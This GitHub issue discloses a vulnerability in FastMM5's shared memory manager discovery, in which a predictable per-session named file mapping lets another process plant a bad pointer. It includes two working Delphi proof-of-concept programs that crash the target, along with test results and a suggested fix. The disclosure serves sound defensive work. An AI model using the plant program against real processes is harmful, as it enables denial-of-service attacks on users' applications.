Skip to content

FastMM_AttemptToUseSharedMemoryManager trusts a predictable cross-process mapping and can crash #84

Description

@janrysavy

Context

This comes from a GPT-5.6-SOL-ULTRA follow-up review of current FastMM5 master. I
reviewed the finding manually and reproduced it locally against the unmodified
revision:

13976edfc84f83c3c55e5731d30fd8686ad51f15
#81 Export FastMM_ProcessAllPendingFrees in BorlndMM.dll

FullDebugMode is not involved.

Problem

The public comment for FastMM_AttemptToUseSharedMemoryManager says it searches
the current process for a shared memory manager:

{Searches the current process for a shared memory manager.  If no memory has been allocated using this memory manager
it will switch to using the shared memory manager instead.  Returns True if another memory manager was found and it
could be shared.  If this memory manager instance *is* the shared memory manager, it will do nothing and return True.}
function FastMM_AttemptToUseSharedMemoryManager: Boolean;

On Windows the discovery mechanism is a named file mapping whose name contains
only the target process ID:

SharingFileMappingObjectName: array[0..25] of AnsiChar =
  ('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M',
   '_', 'P', 'I', 'D', '_', '?', '?', '?', '?', '?', '?', '?', '?', #0);

The process ID is public and the Local\ namespace is session-scoped, not
process-private. A second process in the same Windows session can therefore
create the expected object before FastMM tries to open it.

FastMM_FindSharedMemoryManager accepts the pointer stored in any mapping with
that name without checking its provenance or validating the address:

LLocalMappingObjectHandle := Winapi.Windows.OpenFileMappingA(
  FILE_MAP_READ, False, @SharingFileMappingObjectName);

if LLocalMappingObjectHandle <> 0 then
begin
  LPMapAddress := Winapi.Windows.MapViewOfFile(
    LLocalMappingObjectHandle, FILE_MAP_READ, 0, 0, 0);
  if LPMapAddress <> nil then
  begin
    Result := PPointer(LPMapAddress)^;
    Winapi.Windows.UnmapViewOfFile(LPMapAddress);
  end;
  Winapi.Windows.CloseHandle(LLocalMappingObjectHandle);
end;

The caller then dereferences that untrusted pointer as a complete memory-manager
record:

LPMemoryManagerEx := FastMM_FindSharedMemoryManager;
if LPMemoryManagerEx <> nil then
begin
  InstalledMemoryManager := LPMemoryManagerEx^;
  SetMemoryManager(InstalledMemoryManager);
  CurrentInstallationState := mmisUsingSharedMemoryManager;
end;

The reproducer creates the target's expected mapping from a separate process and
stores Pointer(1). The target faults while copying LPMemoryManagerEx^.

Microsoft's documentation confirms that Local\ selects a per-session kernel
object namespace and that access to named file mappings is controlled by their
security descriptor, rather than restricting them to the creator process:

Reproducer

The reproducer has two small console applications:

  1. Start SharedMappingSquatTarget.exe and obtain its process ID.
  2. Start SharedMappingSquatPlant.exe <target-process-id> from the same Windows
    user/session.
  3. The plant creates the mapping, verifies that it did not already exist, writes
    Pointer(1), and keeps the object alive.
  4. The target opens and maps the object, waits until the planted pointer is
    non-nil, and only then calls the supported public sharing API.

The target uses only static buffers and WinAPI calls before the sharing attempt,
so it has no live FastMM allocations that would make the API reject the switch.
Polling the mapped cell also removes the race between CreateFileMappingA and
the plant's later pointer write.

SharedMappingSquatTarget.dpr

program SharedMappingSquatTarget;

{$APPTYPE CONSOLE}

uses
  FastMM5,
  Winapi.Windows;

type
  TVectoredExceptionHandler = function(ExceptionInfo: Pointer): Longint; stdcall;

function AddVectoredExceptionHandler(FirstHandler: Cardinal;
  Handler: TVectoredExceptionHandler): Pointer; stdcall;
  external kernel32 name 'AddVectoredExceptionHandler';

function ExitOnException(ExceptionInfo: Pointer): Longint; stdcall;
begin
  ExitProcess(81);
  Result := 0;
end;

const
  HexDigits: PAnsiChar = '0123456789ABCDEF';

var
  MappingName: array[0..25] of AnsiChar =
    ('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M', '_', 'P', 'I', 'D', '_',
     '?', '?', '?', '?', '?', '?', '?', '?', #0);
  MappingHandle: THandle;
  MappingView: Pointer;
  ProcessId: Cardinal;
  SharedMemoryManagerPointer: Pointer;
  I: Integer;

begin
  SetErrorMode(SEM_FAILCRITICALERRORS or SEM_NOGPFAULTERRORBOX);
  FastMM_MessageBoxEvents := [];
  ProcessId := GetCurrentProcessId;
  for I := 0 to 7 do
    MappingName[(High(MappingName) - 1) - I] :=
      AnsiChar(HexDigits[(ProcessId shr (I * 4)) and $f]);

  for I := 1 to 3000 do
  begin
    MappingHandle := OpenFileMappingA(FILE_MAP_READ, False, @MappingName);
    if MappingHandle <> 0 then
      Break;
    Sleep(10);
  end;

  if MappingHandle = 0 then
    Halt(20);

  MappingView := MapViewOfFile(MappingHandle, FILE_MAP_READ, 0, 0,
    SizeOf(Pointer));
  if MappingView = nil then
    Halt(24);
  for I := 1 to 3000 do
  begin
    SharedMemoryManagerPointer := PPointer(MappingView)^;
    if SharedMemoryManagerPointer <> nil then
      Break;
    Sleep(10);
  end;
  UnmapViewOfFile(MappingView);
  CloseHandle(MappingHandle);
  if SharedMemoryManagerPointer = nil then
    Halt(25);

  {$ifdef VERIFY_MAPPING_ONLY}
  ExitProcess(23);
  {$endif}

  AddVectoredExceptionHandler(1, ExitOnException);
  if FastMM_AttemptToUseSharedMemoryManager then
    ExitProcess(21)
  else
    ExitProcess(22);
end.

SharedMappingSquatPlant.dpr

program SharedMappingSquatPlant;

{$APPTYPE CONSOLE}

uses
  Winapi.Windows,
  System.SysUtils;

const
  HexDigits: PAnsiChar = '0123456789ABCDEF';

var
  MappingName: array[0..25] of AnsiChar =
    ('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M', '_', 'P', 'I', 'D', '_',
     '?', '?', '?', '?', '?', '?', '?', '?', #0);
  MappingHandle: THandle;
  MappingView: Pointer;
  TargetProcessId: Cardinal;
  I: Integer;

begin
  if ParamCount <> 1 then
    Halt(30);
  TargetProcessId := Cardinal(StrToInt64(ParamStr(1)));
  for I := 0 to 7 do
    MappingName[(High(MappingName) - 1) - I] :=
      AnsiChar(HexDigits[(TargetProcessId shr (I * 4)) and $f]);

  MappingHandle := CreateFileMappingA(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0,
    SizeOf(Pointer), @MappingName);
  if MappingHandle = 0 then
    Halt(31);
  if GetLastError = ERROR_ALREADY_EXISTS then
    Halt(33);

  {Make object creation precede pointer publication so the target must wait for
   the mapped payload, not merely for the named object to exist.}
  Sleep(250);

  MappingView := MapViewOfFile(MappingHandle, FILE_MAP_WRITE, 0, 0, 0);
  if MappingView = nil then
    Halt(32);
  PPointer(MappingView)^ := Pointer(NativeUInt(1));

  Sleep(10000);
  UnmapViewOfFile(MappingView);
  CloseHandle(MappingHandle);
end.

Local validation

Built and run with RAD Studio 37.0 against unmodified 13976ed:

Build Target Plant
Default Win32 Exit 81 from the vectored exception handler Exit 0
Default Win64 Exit 81 from the vectored exception handler Exit 0

The same two results were reproduced again while preparing this report. The
plant deliberately waits 250 ms between creating the mapping and publishing its
non-nil pointer; the target's readiness wait removes that creation/write race in
both runs.

A separate target compiled with VERIFY_MAPPING_ONLY exited 23 on Win32 and
Win64, proving that it opened the externally created mapping without depending on
the later invalid-pointer access. The plant exits 33 if the mapping already
exists, so a normal exit also proves that the plant won object creation.

Impact and scope

The demonstrated impact is an attacker-triggered access violation and process
termination. The prerequisites are constrained:

  • the target must call the opt-in shared-manager adoption API;
  • the other process must be able to create an object with the expected name and
    have it opened by the target, normally requiring the same user/session under
    the default security descriptor;
  • no code-execution primitive was demonstrated.

I would rate this as Medium severity for availability, rather than claiming code
execution or a cross-user privilege boundary.

Suggested fix direction

Do not treat a pointer read from a discoverable cross-process named object as
authenticated process-local state. A fix should make discovery fail closed unless
the provider can be proven to belong to the current process. Structural/version
checks and validation that every entry point refers to committed executable memory
in a currently loaded module would also prevent invalid mappings from being
dereferenced, but pointer validation alone is not a substitute for trustworthy
provenance.

The normal allocation/free fast paths do not need to change; this is confined to
the explicit shared-manager discovery operation.

Prior issue check

This is not a duplicate of PR #22,
which prevents a Delphi string allocation before attempting shared-manager
adoption. No existing issue reports predictable mapping pre-creation, untrusted
pointer adoption, or the cross-process crash above.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions